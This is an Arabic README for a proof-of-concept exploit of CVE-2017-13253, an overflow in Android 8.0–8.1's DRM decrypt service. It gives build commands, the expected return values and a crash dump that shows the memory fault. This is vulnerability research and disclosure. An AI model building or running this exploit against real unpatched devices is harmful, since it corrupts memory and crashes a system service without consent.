
كود PoC لـ CVE-2017-13253
كود PoC لثغرة CVE-2017-13253.
الشرح الكامل متاح هنا. لاحظ أن الأرقام مختلفة قليلاً عن مقال المدونة، حيث وجدت أن هناك فرصة أكبر لحدوث انهيار (crash) مع كومة بحجم 0x2000 (بالطبع إذا قمت بتشغيله مرات كافية فسوف ينهار على أي حال).
لأي أسئلة/مشاكل/تعليقات، يمكنك التواصل معي على تويتر (@tamir_zb).
من أجل بناء هذا:
AOSP/external. cd AOSP
source build/envsetup.sh
make icrypto_overflow
تشغيل هذا ضد إصدار غير مُصحح من Android (8.0-8.1 قبل مارس 2018) يجب أن يؤدي إلى تجاوز سعة (overflow). قد يؤدي هذا إلى انهيار (crash)، اعتماداً على ما إذا كانت البيانات المستبدلة قابلة للكتابة أم لا.
يجب أن يقوم الكود بطباعة مخرجات طريقة decrypt، والتي قد تختلف:
decrypt يجب أن تُرجع BAD_VALUE (22-).decrypt يجب أن تُرجع مقدار البيانات التي نسختها.decrypt يجب أن تُرجع UNKNOWN_ERROR (32-).decrypt يجب أن تُرجع 0.هذا مقتطف جزئي من تقرير الانهيار (crash dump) الناتج عن تشغيل هذا الـ PoC:
Build fingerprint: 'google/walleye/walleye:8.1.0/OPM1.171019.011/4448085:user/release-keys'
Revision: 'MP1'
ABI: 'arm'
pid: 761, tid: 5232, name: HwBinder:761_1 >>> /vendor/bin/hw/[email protected] <<<
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xee20f000
r0 ee20f000 r1 ee20d021 r2 00001eff r3 00000001
r4 00000001 r5 00000000 r6 ed117008 r7 00000000
r8 00000000 r9 fffff82a sl ee20d000 fp ee20efff
ip 08000000 sp ed2893c8 lr ed369e6b pc edda7f0c cpsr 20070010
backtrace:
#00 pc 00018f0c /system/lib/libc.so (__memcpy_base+244)
#01 pc 00004e67 /vendor/lib/mediadrm/libdrmclearkeyplugin.so (clearkeydrm::CryptoPlugin::decrypt(bool, unsigned char const*, unsigned char const*, android::CryptoPlugin::Mode, android::CryptoPlugin::Pattern const&, void const*, android::CryptoPlugin::SubSample const*, unsigned int, void*, android::AString*)+82)
...
memory map (205 entries):
(fault address prefixed with --->)
...
ee20d000-ee20efff rw- 0 2000 /dev/ashmem/MemoryHeapBase (deleted)
--->ee20f000-ee20ffff --- 0 1000 [anon:thread signal stack guard page]
...
كما ترى، عنوان الخطأ (fault address) هو الذاكرة التي تلي الذاكرة المشتركة مباشرة. وبما أن هذه الذاكرة محمية ضد الكتابة، فإن تجاوز السعة أدى إلى خطأ تجزئة (segmentation fault).